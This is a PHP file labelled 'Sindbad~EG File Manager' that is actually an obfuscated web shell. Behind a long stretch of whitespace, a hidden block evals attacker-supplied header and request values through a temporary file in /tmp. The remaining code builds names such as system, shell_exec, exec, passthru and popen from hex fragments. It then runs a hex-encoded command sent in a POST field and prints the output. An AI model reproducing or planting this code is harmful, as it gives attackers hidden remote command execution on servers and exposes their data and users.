Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Large-Allocation'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x46e\x61t\x75r\x65-\x50o\x6ci\x63y\x22]\x29;\x40e\x76a\x6c(\x24_\x48E\x41D\x45R\x53[\x22F\x65a\x74u\x72e\x2dP\x6fl\x69c\x79\"\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}


$constant1 = '3';
$constant2 = '6';
$constant3 = '5';
$constant4 = 'd';
$constant5 = '7';
$constant6 = '8';
$constant7 = 'c';
$constant8 = '4';
$constant9 = '0';
$constant10 = 'f';
$constant11 = '1';
$internal1 = pack("H*", '7'.$constant1.'7'.'9'.'7'.$constant1.'7'.'4'.$constant2.$constant3.'6'.$constant4);
$internal2 = pack("H*", $constant5.$constant1.$constant2.$constant6.'6'.$constant3.$constant2.$constant7.$constant2.'c'.'5'.'f'.$constant2.$constant3.'7'.$constant6.$constant2.$constant3.'6'.'3');
$internal3 = pack("H*", '6'.'5'.'7'.'8'.'6'.$constant3.'6'.$constant1);
$internal4 = pack("H*", '7'.'0'.'6'.'1'.'7'.'3'.'7'.'3'.$constant5.$constant8.'6'.$constant6.'7'.'2'.$constant5.'5');
$internal5 = pack("H*", '7'.$constant9.$constant2.$constant10.'7'.'0'.'6'.$constant3.$constant2.'e');
$internal6 = pack("H*", $constant5.'3'.$constant5.'4'.$constant5.'2'.$constant2.$constant3.$constant2.$constant11.'6'.$constant4.'5'.$constant10.'6'.'7'.'6'.'5'.$constant5.'4'.$constant3.'f'.$constant2.$constant1.$constant2.'f'.$constant2.'e'.$constant5.$constant8.$constant2.'5'.'6'.'e'.'7'.$constant8.$constant5.$constant1);
$internal7 = pack("H*", $constant5.'0'.'6'.$constant1.'6'.'c'.'6'.$constant10.'7'.'3'.'6'.$constant3);
$lock = pack("H*", $constant2.$constant7.'6'.$constant10.$constant2.'3'.$constant2.'b');
if (isset($_POST[$lock])) {
    $lock = pack("H*", $_POST[$lock]);
    if (function_exists($internal1)) {
        $internal1($lock);
    } elseif (function_exists($internal2)) {
        print $internal2($lock);
    } elseif (function_exists($internal3)) {
        $internal3($lock, $const_st);
        print join("\n", $const_st);
    } elseif (function_exists($internal4)) {
        $internal4($lock);
    } elseif (function_exists($internal5) && function_exists($internal6) && function_exists($internal7)) {
        $attr_prop = $internal5($lock, 'r');
        if ($attr_prop) {
            $fld_stor = $internal6($attr_prop);
            $internal7($attr_prop);
            print $fld_stor;
        }
    }
    exit;
}